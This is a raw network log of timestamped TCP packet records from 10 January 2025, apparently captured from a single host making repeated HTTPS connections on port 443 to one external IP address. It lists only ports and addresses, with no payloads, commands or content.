Jan 10, 2025 20:14:35.940063953 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940090895 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940134048 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940268993 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940308094 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940313101 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940344095 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940349102 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940382004 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940594912 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940668106 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.940671921 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.940735102 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.961792946 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.961857080 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.961899996 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.961903095 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.961914062 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.961926937 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.961973906 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.961978912 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.962033987 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.962153912 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.962198973 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:35.962203979 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:35.962241888 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.031049967 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.031131029 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.031178951 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.031205893 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.031241894 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.031265020 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.031270981 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.031302929 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.031307936 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.031343937 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.032371044 CET	57952	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.032387018 CET	443	57952	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.352147102 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.352215052 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.352303028 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.372286081 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.372323036 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.847938061 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.848006010 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.853497982 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.853507996 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.853744984 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.853749990 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.980139017 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.980199099 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.980211020 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.980246067 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.980251074 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.980295897 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.980407000 CET	57953	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.980420113 CET	443	57953	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.990463018 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.990511894 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:36.990588903 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.990873098 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:36.990885019 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.465477943 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.467642069 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.468970060 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.468982935 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.469170094 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.469176054 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.647692919 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.647819996 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.647846937 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648003101 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.648051023 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648099899 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648144007 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.648152113 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648188114 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648226976 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.648232937 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648276091 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.648463011 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.648509979 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.654567003 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.654618979 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.654705048 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.654712915 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.655581951 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.656141043 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.656188011 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.656194925 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.659595966 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.659601927 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.663702011 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.739020109 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.739094973 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.739216089 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.739219904 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.739308119 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.739447117 CET	57954	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.739464045 CET	443	57954	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.887300968 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.887361050 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:37.887456894 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.887715101 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:37.887727022 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.365997076 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.366059065 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.366547108 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.366555929 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.366693974 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.366698980 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.493491888 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.493544102 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.493561029 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.493597984 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.493609905 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.493643999 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.493725061 CET	57955	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.493737936 CET	443	57955	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.504185915 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.504286051 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.504376888 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.504609108 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.504641056 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.980988979 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.981100082 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.981597900 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.981626987 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:38.981766939 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:38.981780052 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152553082 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152609110 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152640104 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152666092 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152715921 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.152715921 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.152802944 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152858973 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.152858973 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.152879953 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.152929068 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.152992964 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.153043032 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.153054953 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.153110981 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.153389931 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.153445005 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.153455973 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.153518915 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.157298088 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.157358885 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.157371044 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.157386065 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.157413006 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.157445908 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.244271994 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.244343042 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.244364977 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.244414091 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.244445086 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.244445086 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.244471073 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.244507074 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.248872042 CET	57956	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.248905897 CET	443	57956	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.531928062 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.532036066 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:39.532157898 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.532655954 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:39.532684088 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.015006065 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.015072107 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.015583038 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.015593052 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.015738964 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.015743017 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.148556948 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.148636103 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.148652077 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.148693085 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.148886919 CET	57957	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.148902893 CET	443	57957	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.157732964 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.157789946 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.157895088 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.158200026 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.158211946 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.637504101 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.637582064 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.638102055 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.638114929 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.638273001 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.638278008 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832007885 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832066059 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832072973 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832089901 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832113028 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832135916 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832135916 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832156897 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832156897 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832165956 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832204103 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832225084 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832230091 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832236052 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832269907 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832276106 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832304955 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832309008 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832314014 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.832345009 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.832374096 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.836164951 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.836241961 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.836771011 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.836823940 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.836832047 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.836870909 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.920728922 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.920794010 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.920916080 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:40.921005011 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.921055079 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.921300888 CET	57958	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:40.921323061 CET	443	57958	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.043118000 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.043207884 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.043284893 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.043466091 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.043500900 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.521822929 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.522002935 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.522620916 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.522631884 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.522773027 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.522778988 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.671785116 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.671857119 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.671865940 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.671926022 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.672045946 CET	57959	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.672089100 CET	443	57959	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.672713995 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.672759056 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:41.672837973 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.673037052 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:41.673053026 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.158837080 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.158936977 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.159358025 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.159368038 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.159544945 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.159550905 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.355326891 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.355365992 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.355389118 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.355418921 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.355418921 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.355456114 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.355475903 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.355495930 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.359932899 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.359992981 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.359994888 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.360006094 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.360032082 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.360076904 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364618063 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364661932 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364680052 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364691019 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364701033 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364727974 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364729881 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364739895 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364768028 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364779949 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364804983 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364813089 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.364825010 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.364852905 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.445126057 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.445183992 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.445195913 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.445213079 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.445226908 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.445259094 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.445265055 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.445293903 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.445301056 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.445327997 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.499772072 CET	57960	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.499783993 CET	443	57960	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.675568104 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.675615072 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:42.676259995 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.676259995 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:42.676291943 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.173738003 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.173921108 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.174226999 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.174237967 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.174531937 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.174536943 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.286609888 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.286686897 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.286710024 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.286731958 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.286878109 CET	57961	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.286895990 CET	443	57961	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.296138048 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.296241045 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.296346903 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.296576023 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.296613932 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.762248039 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.762356043 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.762761116 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.762782097 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.762909889 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.762923956 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931781054 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931824923 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931855917 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931885958 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931907892 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931943893 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931973934 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.931998968 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.932034016 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.932049990 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.932086945 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.936688900 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.936749935 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.936805010 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.936805964 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.936849117 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.936909914 CET	57962	443	192.168.2.6	172.67.152.246
